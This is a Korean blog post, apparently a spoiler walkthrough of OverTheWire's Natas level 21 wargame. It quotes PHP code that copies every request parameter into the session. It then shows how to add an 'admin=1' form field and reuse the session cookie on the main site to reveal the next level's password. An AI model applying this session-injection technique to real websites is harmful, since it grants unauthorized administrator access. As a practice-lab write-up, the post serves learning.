메뉴 건너뛰기

노루발의 개인 게시판

이번에는 사이트가 2개이다:


http://natas21.natas.labs.overthewire.org/



function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas22\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
    }


여기에서는 session에 존재하는 admin의 값이 1일 경우 password를 확인할 수 있고


http://natas21-experimenter.natas.labs.overthewire.org/index.php


if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}


// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";

$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
    $val = $defval;
    if(array_key_exists($key, $_SESSION)) {
    $val = $_SESSION[$key];
    } else {
    $_SESSION[$key] = $val;
    }
    $form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";


여기에서는 align, fontsize, bgcolor 값을 session에 저장하고 읽어오는 것을 알 수 있다.

주석 상으로는 // only allow these keys 라고 써있지만 실제로 요청을 필터링하는 짓은 하지 않는다 ㅡㅡ;;

admin 키의 값을 1로 바꾸라는 요청을 보내면 바꿔줄것이 틀림없다.


admin 값을 1로 바꾸자, 본문 HTML을 다음과 같이 변경하면 admin 값을 보내는 필드를 만들 수 있다:

<form action="index.php" method="POST">align: <input name="align" value="center"><br>fontsize: <input name="fontsize" value="100%"><br>bgcolor: <input name="bgcolor" value="yellow"><br><input type="submit" name="submit" value="Update"></form>

->

<form action="index.php" method="POST">align: <input name="align" value="center"><br>fontsize: <input name="fontsize" value="100%"><br>bgcolor: <input name="bgcolor" value="yellow"><br>admin: <input name="admin" value="1"><br><input type="submit" name="submit" value="Update"></form>


Update를 눌러 요청을 보낸 뒤, 이 창의 PHPSESSID를 http://natas21.natas.labs.overthewire.org/ 에 적용시킨 다음 새로고침을 하면 natas22의 패스워드를 알 수 있다.

분류 :
망한거
조회 수 :
13
등록일 :
2020.03.13
21:26:01 (*.47.15.250)
엮인글 :
게시글 주소 :
https://hondoom.com/zbxe/index.php?mid=noru&document_srl=818140
파일 첨부

여기에 파일을 끌어 놓거나 파일 첨부 버튼을 클릭하세요.

파일 크기 제한 : 0MB (허용 확장자 : *.*)

0개 첨부 됨 ( / )
옵션 :
:
:
List of Articles
번호 제목 글쓴이 날짜 조회 수
56 기행 제 68회 유라시아 비즈니스 인사이트 다녀왔습니다. file 노루발 2025-06-26 2
55 오토바이 노루발 오토바이 깔은 이야기 3일차~8일차 file 노루발 2023-10-12 49
54 오토바이 노루발 오토바이 깔은 이야기 1일차+2일차 [2] file 노루발 2023-10-11 98
53 오토바이 노루발 2종 소형 면허 따는 이야기 [4] 노루발 2023-09-21 35
52 기타 Holo house의 미니멀한 농장겜 요소들 노루발 2023-08-31 44
51 기타 부족전쟁 122 서버 아웃라인 secret 노루발 2021-07-25 1
50 오토바이 고속 찐빠 해결 / 윙카&포크부츠 교체 [2] file 노루발 2020-05-31 368
49 오토바이 오토바이 캬브레타 청소 [1] 노루발 2020-05-17 370
48 오토바이 NGK 점화플러그 품번에 따른 특성 [3] file 노루발 2020-05-07 99
47 망한거 (스포일러) Natas24 풀이 노루발 2020-03-19 48
46 망한거 (스포일러) Natas24 풀이 노루발 2020-03-17 19
45 망한거 (스포일러) Natas23 풀이 노루발 2020-03-13 16
44 망한거 (스포일러) Natas22 풀이 노루발 2020-03-13 10
» 망한거 (스포일러) Natas21 풀이 노루발 2020-03-13 13
42 망한거 (스포일러) Natas20 풀이 노루발 2020-03-13 16
41 망한거 (스포일러) Natas19 풀이 노루발 2020-03-13 14
40 망한거 (스포일러) Natas18 풀이 노루발 2020-03-12 9
39 망한거 (스포일러) Natas17 풀이 노루발 2020-03-12 16
38 망한거 (스포일러) Natas16 풀이 노루발 2020-03-12 18
37 망한거 (스포일러) Natas15 풀이 노루발 2020-03-11 21